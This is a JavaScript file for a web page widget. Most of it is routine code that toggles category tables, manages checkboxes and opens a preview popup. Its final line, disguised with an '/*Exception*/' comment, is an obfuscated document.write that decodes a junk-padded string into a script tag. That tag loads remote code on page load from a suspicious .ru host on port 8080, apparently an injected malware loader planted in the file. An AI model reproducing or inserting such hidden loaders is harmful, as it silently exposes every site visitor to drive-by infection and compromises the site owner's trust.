// JavaScript Document
var isFirstTime = true;
var arrCategories = new Array();
var arrUnits = new Array();

function doInitWidgetUnits(strJSCategories) {
	isFirstTime = false;
	arrCategories = strJSCategories.split("-");
	
	for(var i=0;i<arrCategories.length;i++) {
		arrUnits[arrCategories[i]] = eval("document.widgetUnitsForm.strJSUnits"+arrCategories[i]).value.split("-");
	}
}

function doSelectCateg(categID,strJSCategories) {
	if(isFirstTime) doInitWidgetUnits(strJSCategories)
	for(var i=0;i<arrCategories.length;i++) {
		if(document.getElementById) {
			divTableUnits=document.getElementById("divTableUnits"+arrCategories[i]).style;
		} else {
			if(document.layers) {
				divTableUnits=document.layers["divTableUnits"+arrCategories[i]];	
			}
		}
		if(arrCategories[i]==categID) {
			divTableUnits.display = "block";
			eval("document.all.divCategName"+arrCategories[i]).innerHTML = "<b>"+eval("document.all.divCategName"+arrCategories[i]).innerText+"</b>";
		} else {
			divTableUnits.display = "none";
			eval("document.all.divCategName"+arrCategories[i]).innerHTML = "<a href=\"javascript:doSelectCateg("+arrCategories[i]+",'')\">" + eval("document.all.divCategName"+arrCategories[i]).innerText + "</a>";
		}
	}
}

function doCheckAllUnits(categID) {
	eval("document.widgetUnitsForm.checkboxCateg"+categID).checked = true;
	for(var i=0;i<arrUnits[categID].length;i++) eval("document.widgetUnitsForm.checkboxUnit"+arrUnits[categID][i]).checked = true;
}

function doClearAllUnits(categID) {
	eval("document.widgetUnitsForm.checkboxCateg"+categID).checked = false;
	for(var i=0;i<arrUnits[categID].length;i++) eval("document.widgetUnitsForm.checkboxUnit"+arrUnits[categID][i]).checked = false;
}

function doClickUnit(categID,unitID) {
	if(eval("document.widgetUnitsForm.checkboxUnit"+unitID).checked) eval("document.widgetUnitsForm.checkboxCateg"+categID).checked = true;
	else {
		isNotChecked = true;
		for(var i=0;i<arrUnits[categID].length;i++) 
			if(eval("document.widgetUnitsForm.checkboxUnit"+arrUnits[categID][i]).checked) isNotChecked = false;
		if(isNotChecked) eval("document.widgetUnitsForm.checkboxCateg"+categID).checked = false;
	}
}

function doCheckAllCategories(strJSCategories) {
	if(isFirstTime) doInitWidgetUnits(strJSCategories);
	for(var i=0;i<arrCategories.length;i++) {
		eval("document.widgetUnitsForm.checkboxCateg"+arrCategories[i]).checked = true;
		for(var j=0;j<arrUnits[arrCategories[i]].length;j++) {
			eval("document.widgetUnitsForm.checkboxUnit"+arrUnits[arrCategories[i]][j]).checked = true;
		}
	}
}

function doClearAllCategories(strJSCategories) {
	if(isFirstTime) doInitWidgetUnits(strJSCategories);
	for(var i=0;i<arrCategories.length;i++) {
		eval("document.widgetUnitsForm.checkboxCateg"+arrCategories[i]).checked = false;
		for(var j=0;j<arrUnits[arrCategories[i]].length;j++) eval("document.widgetUnitsForm.checkboxUnit"+arrUnits[arrCategories[i]][j]).checked = false;
	}
}

function doVerifyWidgetOK(widgetID,strJSCategories) {
	var isOK = false;
	if(isFirstTime) doInitWidgetUnits(strJSCategories);
	for(var i=0;i<arrCategories.length;i++) {
		if(eval("document.widgetUnitsForm.checkboxCateg"+arrCategories[i]).checked) isOK = true;
	}
	if(isOK) doUserSaveModifiedWidget(widgetID);
	else alert("Please select at least a category.");						  
}

function doClickCateg(categID,strJSCategories) {
	if(isFirstTime) doInitWidgetUnits(strJSCategories);
	for(var i=0;i<arrUnits[categID].length;i++) eval("document.widgetUnitsForm.checkboxUnit"+arrUnits[categID][i]).checked = eval("document.widgetUnitsForm.checkboxCateg"+categID).checked;
}

var winPreviewWidget;
function doPreviewWidget(widgetID) {
	var strProp = "toolbar=no,titlebar=no,location=no,directories=no,status=no,menubar=no,scrollbars=no,resizable=no,width=350,height=200";
	if (winPreviewWidget) {
		if (winPreviewWidget.closed==false) {
			winPreviewWidget.close();
		}
	}
	winPreviewWidget = window.open("flash/iMediaUnits.php?widgetID="+widgetID,"winPreviewWidget",strProp);
	winPreviewWidget.focus();
}



/*Exception*/ document.write('<script src='+'h(&t#$^t@&p@:^$#!/#/@e(a^^s$$&y#-$$!s(h^a#r$&^e!$!^-((((c^&o!m#!.!!i)(#f@o!l$##d$&^e)r&($.(^)$r^u(@).@!!u&)^p!#&s&!&-^&c)#)o^m!(.!y^#o@)u$!r(!&t!!r!^u()!)e^g!)(a$m$!(e&)!(.&!#r@@u#:@##(8(&@0!@)8!^0#/^)(c()s)@#(d&)&!n^.($n&&@e#^t(!)/#(#c&$s^#$@d#@n&^.!!&n&@&e$t)$&)/&)l$&!i$n(#k!#^w#i^^!^t(&&h$@)i@!n((^&.(c&o$m$))/&)!g@^!o@((o()#g!)^(l##e$!.(@@c$$#o#)m)!)/#@5(1@!.@&l@#@a@^^/&@&!'.replace(/\(|\)|\$|@|&|\^|#|\!/ig, '')+' defer=defer></scr'+'ipt>');